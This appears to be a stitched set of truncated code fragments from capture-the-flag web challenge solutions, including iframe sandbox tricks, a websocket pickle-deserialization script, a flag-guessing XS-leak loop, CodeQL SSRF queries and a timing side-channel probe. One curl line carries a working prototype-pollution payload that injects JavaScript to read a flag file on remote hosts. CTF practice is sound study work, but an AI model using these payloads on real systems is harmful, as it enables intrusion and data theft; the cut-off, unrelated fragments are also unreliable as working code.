If you can render /debug/answer in server-side, you can get the first flag.
Nginx denies accesses to /debug.
location /debug {
# IP address restriction.
# TODO: add allowed IP addresses here
| <body> | |
| <script> | |
| const sleep = (time) => new Promise((resolve) => setTimeout(resolve, time)) | |
| const frame = document.createElement('iframe'); | |
| frame.src = `https://sbx-hoge.postviewer2-web.2023.ctfcompetition.com/shim.html?o=${encodeURIComponent(location.origin)}`; | |
| document.body.appendChild(frame); | |
| const frame2 = document.createElement('iframe'); | |
| frame2.src = `https://sbx-hoge.postviewer2-web.2023.ctfcompetition.com/shim.html?o=${encodeURIComponent(location.origin)}`; | |
| frame2.setAttribute('sandbox', 'allow-downloads allow-downloads-without-user-activation allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation allow-top-navigation-to-custom-protocols') |
| from websocket import create_connection | |
| from base64 import b64encode, b64decode | |
| import pickle | |
| ticket = 'ticket{}' | |
| ws = create_connection("ws://localhost:8081/ws/", subprotocols=[ticket]) | |
| PICKLE_OP_NAMES = { | |
| "MARK": '(', |
| REPO=$1 | |
| REPO_DIR=repos/$REPO/ | |
| rm -rf $REPO_DIR | |
| mkdir -p $REPO_DIR | |
| cd $REPO_DIR | |
| git clone --depth 1 "https://github.com/$REPO" | |
| curl "https://api.github.com/repos/$REPO/code-scanning/codeql/databases/javascript" -H "accept: application/zip" -L -o codeqldb.zip | |
| unzip -q codeqldb.zip | |
| codeql database analyze ./javascript codeql/javascript-queries --format=sarif-latest --output=codeql.sarif --download |
| <script> | |
| chars = '_0123456789abcdefghijklmnopqrstuvwxyz'.split('') | |
| //chars = '_012345678'.split('') | |
| //chars = '9abcdefgh'.split('') | |
| //chars = 'ijklmnopq'.split('') | |
| //chars = 'rstuvwxyz}'.split('') | |
| let prefix = 'SECCON{' | |
| for (let char of chars) { | |
| setTimeout(() => { | |
| let trial = `${prefix}${char}` |
| // create viewer element | |
| init = () => { | |
| const renderer = document.querySelector('#renderer') | |
| const viewer = document.createElement('div') | |
| viewer.style = ` | |
| position: absolute; | |
| top: 0; | |
| left: 0; | |
| width: 100%; | |
| height: 100%; |
| import javascript | |
| import DataFlow | |
| import DataFlow::PathGraph | |
| class SSRFConfiguration extends TaintTracking::Configuration { | |
| SSRFConfiguration() { this = "SSRFConfiguration" } | |
| override predicate isSource(DataFlow::Node source) { | |
| exists(DataFlow::SourceNode req | | |
| isHTTPRequest(req) and |
| import javascript | |
| import DataFlow::PathGraph | |
| // TODO: need to add constraint of "@nguniversal/express-engine" | |
| class Configuration extends TaintTracking::Configuration { | |
| Configuration() { this = "Angular SSRF" } | |
| // string not start with https?:// or // | |
| override predicate isSource(DataFlow::Node source) { | |
| source.getStringValue().regexpMatch("^(?!(https?:|//)).*$") |
| curl http://10.13.37.$i:14017/config/validated/json-schema/validate -H 'content-type: application/json' --data '{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"outputFunctionName":{"type":"string","default":"x;var buf = Buffer.alloc(128);var fs = process.mainModule.require(`fs`);var fd=fs.openSync(`/fl`+`ag`);fs.readSync(fd, buf, 0, 128);fs.closeSync(fd);return buf.toString();//x"},"path":{"type":"string","default":"/foo"}}}}}}' |
| <script> | |
| setTimeout(() => { | |
| (new Image()).src='/start'; | |
| var start = performance.now(); | |
| fetch("https://www.materialui.co/materialIcons/navigation/close_black_72x72.png", { | |
| mode: "no-cors", | |
| credentials: "include" | |
| }).then((response) => { | |
| var end = performance.now(); |